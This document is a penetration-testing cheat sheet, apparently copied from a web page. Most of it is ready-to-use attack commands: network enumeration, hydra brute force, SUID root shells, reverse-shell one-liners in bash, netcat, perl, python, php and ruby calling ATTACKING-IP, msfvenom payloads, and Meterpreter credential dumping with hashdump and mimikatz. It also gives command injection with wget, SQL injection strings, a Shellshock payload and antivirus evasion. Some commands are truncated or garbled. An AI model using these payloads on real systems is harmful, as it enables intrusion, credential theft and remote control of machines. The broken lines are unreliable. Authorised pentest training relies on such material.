Pentesting-Cheatsheet

Enumeration General Enumeration:

nmap -vv -Pn -A -sC -sS -T 4 -p- 10.0.0.1 
nmap -v -sS -A -T4 x.x.x.x //  Verbose, SYN Stealth, Version info, and scripts against services.
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X // Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
netdiscover -r 192.168.1.0/24

FTP Enumeration (21):

nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.0.0.1

SSH (22):

nc INSERTIPADDRESS 22

SMTP Enumeration (25):

nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.0.0.1
nc -nvv INSERTIPADDRESS 25
telnet INSERTIPADDRESS 25

Finger Enumeration (79):

Download script and run it with a wordlist: http://pentestmonkey.net/tools/user-enumeration/finger-user-enum Web Enumeration (80/443):

dirbuster (GUI)
nikto –h 10.0.0.1

Pop3 (110):

telnet INSERTIPADDRESS 110

USER anounys@INSERTIPADDRESS

PASS admin

or:

USER anounys

PASS admin RPCBind (111):

rpcinfo –p x.x.x.x

SMB\RPC Enumeration (139/445):

enum4linux –a 10.0.0.1
nbtscan x.x.x.x // Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
py 192.168.XXX.XXX 500 50000 dict.txt
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
nmap IPADDR --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient INSERTIPADDRESS ipc$ -U john

SNMP Enumeration (161):

snmpwalk -c public -v1 10.0.0.0
snmpcheck -t 192.168.1.X -c public
onesixtyone -c names -i hosts
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
snmpenum -t 192.168.1.X

Oracle (1521):

tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS

Mysql Enumeration (3306):

nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

DNS Zone Transfers:

nslookup -> set type=any -> ls -d xxx.com
dig axfr xxxx.com @ns1.xxx.com
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml // Recon

Mounting File Share

showmount -e IPADDR
mount 192.168.1.1:/vol/share /mnt/nfs  -nolock //  mounts the share to /mnt/nfs without locking it
mount -t cifs -o username=user,password=pass,domain=xxx //192.168.1.X/share-name /mnt/cifs// Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password  /user:domain\janedoe /savecred /p:no //  Mount a Windows share on Windows from the command line
apt-get install smb4k –y //  Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Fingerprinting: Basic versioning / finger printing via displayed banner

nc -v 192.168.1.1 25
telnet 192.168.1.1 25

Exploit Research

searchsploit windows 2003 | grep -i local //  Search exploit-db for exploit, in this example windows 2003 + local esc

Compiling Exploits

gcc -o exploit exploit.c //  Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit Linux
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe //  Compile windows .exe on Linux

Packet Inspection:

tcpdump tcp port 80 -w output.pcap -i eth0 // tcpdump for port 80 on interface eth0, outputs to output.pcap

Password Cracking

Use hash-identifier to determine the hash type.

https://hashkiller.co.uk

Paste the entire /etc/shadow file in a test file and run john with the text file after john.

john hashes.txt

hashcat -m 500 -a 0 -o output.txt –remove hashes.txt /usr/share/wordlists/rockyou.txt

Bruteforcing:

hydra 10.0.0.1 http-post-form “/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid” -P /usr/share/wordlists/rockyou.txt -l admin
hydra -l admin -P /usr/share/wordlists/rockyou.txt -o results.txt IPADDR PROTOCOL
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp –V // Hydra SMTP Brute force

Shells & Reverse Shells SUID C Shells

bin/bash:

int main(void){

setresuid(0, 0, 0);

system(“/bin/bash”);

}

bin/sh:

int main(void){

setresuid(0, 0, 0);

system(“/bin/sh”);

}

gcc -o suid suid.c

TTY Shell:

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh –i
execute('/bin/sh') //  LUA
!sh // NMAP
:!bash // Vi

Spawn Ruby Shell

exec "/bin/sh" // TTY
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d

Netcat

nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

PHP

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'

(Assumes TCP uses file descriptor 3. If it doesn’t work, try 4,5, or 6) Bash

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done
or: while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

Perl

exec "/bin/sh";
perl —e 'exec "/bin/sh";'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' // Windows
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' //  Windows

Meterpreter Windows reverse meterpreter payload

set payload windows/meterpreter/reverse_tcp // Windows reverse tcp payload

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp // Meterpreter Windows VNC Payload
set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp // Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

upload file c:\\windows // Meterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmp // Meterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmp // Meterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exe // Meterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -c //  Creates new channel with cmd shell
ps // Meterpreter show processes
shell // Meterpreter get shell on the target
getsystem // Meterpreter attempts priviledge escalation the target
hashdump // Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target // Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target // Meterpreter delete port forward
use exploit/windows/local/bypassuac // Bypass UAC on Windows 7 + Set target + arch, x86/64
use auxiliary/scanner/http/dir_scanner // Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan // Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login // Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version // Metasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_login //  Metasploit Oracle Login Module
use exploit/multi/script/web_delivery // Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell // Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer // Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload // Metasploit MSSQL payload
run post/windows/gather/win_privs // Metasploit show privileges of current user
use post/windows/gather/credentials/gpp // Metasploit grab GPP saved passwords
load mimikatz -> wdigest // Metasplit load Mimikatz
run post/windows/gather/local_admin_search_enum // Idenitfy other machines that the supplied domain user has administrative access to
set AUTORUNSCRIPT post/windows/manage/migrate

Meterpreter Payloads

msfvenom –l //  List options

Binaries

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads

msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php            // PHP
set payload php/meterpreter/reverse_tcp           //Listener
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php              // PHP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp                   // ASP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp // JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war //  WAR

Scripting Payloads

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py //  Python
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh //  Bash
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl //  Perl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z

An example is: msfvenom exploit/multi/handler -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f > exploit.extension Powershell

Execution Bypass

Set-ExecutionPolicy Unrestricted
iex(new-object system.net.webclient).downloadstring(“file:///C:\examplefile.ps1”)

Powershell.exe blocked

Use ‘not powershell’ https://github.com/Ben0xA/nps

PS1 File blocked

iex(new-object system.net.webclient).downloadstring(“file:///C:\examplefile.doc”)
    Invoke-examplefile #This allows execution of any file extension

Privilege Escalation Linux:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://github.com/pentestmonkey/unix-privesc-check Windows:

https://github.com/pentestmonkey/windows-privesc-check

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ Command Injection File Traverse:

website.com/file.php[?path=/]
1
	
website.com/file.php[?path=/]

Test HTTP options using curl:

curl -vX OPTIONS [website]
1
	
curl -vX OPTIONS [website]

Upload file using CURL to website with PUT option available

curl --upload-file shell.php --url http://192.168.218.139/test/shell.php --http1.0
1
	
curl --upload-file shell.php --url http://192.168.218.139/test/shell.php --http1.0

Transfer file (Try temp directory if not writable)(wget -O tells it where to store):

?path=/; wget http://IPADDRESS:8000/FILENAME.EXTENTION;
1
	
?path=/; wget http://IPADDRESS:8000/FILENAME.EXTENTION;

Activate shell file:

; php -f filelocation.php;
1
	
; php -f filelocation.php;

SQLInjections Common Injections for Login Forms:

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—

SQLMap

sqlmap -u http://xxx.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3       //  Automated sqlmap scan
sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/xxx.php" // Targeted sqlmap scan
sqlmap -u "http://xxx.com/xxx.php?id=1" --dbms=mysql --tech=U --random-agent --dump //  Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "http://xxx.com/form/" –forms // sqlmap check form for injection
sqlmap -o -u "http://xxx/vuln-form" --forms -D database-name -T users –dump // sqlmap dump and crack hashes for table users on database-name.
sqlmap --flush session
    Flushes the session
sqlmap -p user --technique=B
    Attempts to exploit the “user” field using boolean technique.

Miscellaneous

Tunneling:

sshuttle -r [email protected] 10.10.10.0/24

sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the need for proxy chains. What this command does is tunnels traffic through 10.0.0.1 and makes a route for all traffic destined for 10.10.10.0/24 through your sshuttle tunnel.

AV Bypass:

root@kali:~/Hyperion-1.0# wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe (This is a general example of how to evade AV)

Web hosts

python -m SimpleHTTPServer 80 //  Basic HTTP Server
service apache2 start //  Starts Apache web server. Place files in /var/www/html to be able to ‘wget’ them.

Php Meterpreter Shell (Remove Guard bit)

msfvenom -p php/meterpreter/reverse_tcp LHOST=????????? LPORT=6000 R > phpmeterpreter.php

Netcat

Listener: nc -lp PORT
Target: ; nc -e /bin/bash listeneripaddress listenerport | or ncat -v -l -p 7777 -e /bin/bash
Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 > happy_copy.txt  // download file via ncat

Reverse shell using interpreters (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

e: python -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Shellshock

curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status
curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status
ssh username@IPADDRESS '() { :;}; /bin/bash'//Shellshock over SSH

Resources & Links Windows Privilege Escalation

http://www.fuzzysecurity.com/tutorials/16.html

https://toshellandback.com/2015/11/24/ms-priv-esc/ SQL & Apache Log paths

http://www.itninja.com/blog/view/mysql-and-apache-profile-log-path-locations Recon

https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/ Cheat Sheets (Includes scripts):

http://pentestmonkey.net/

https://highon.coffee/blog/cheat-sheet/

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ Meterpreter Stuff

http://netsec.ws/?p=331 Proxy Chaining

apt-get install sshuttle

https://github.com/sshuttle/sshuttle

https://github.com/rofl0r/proxychains-ng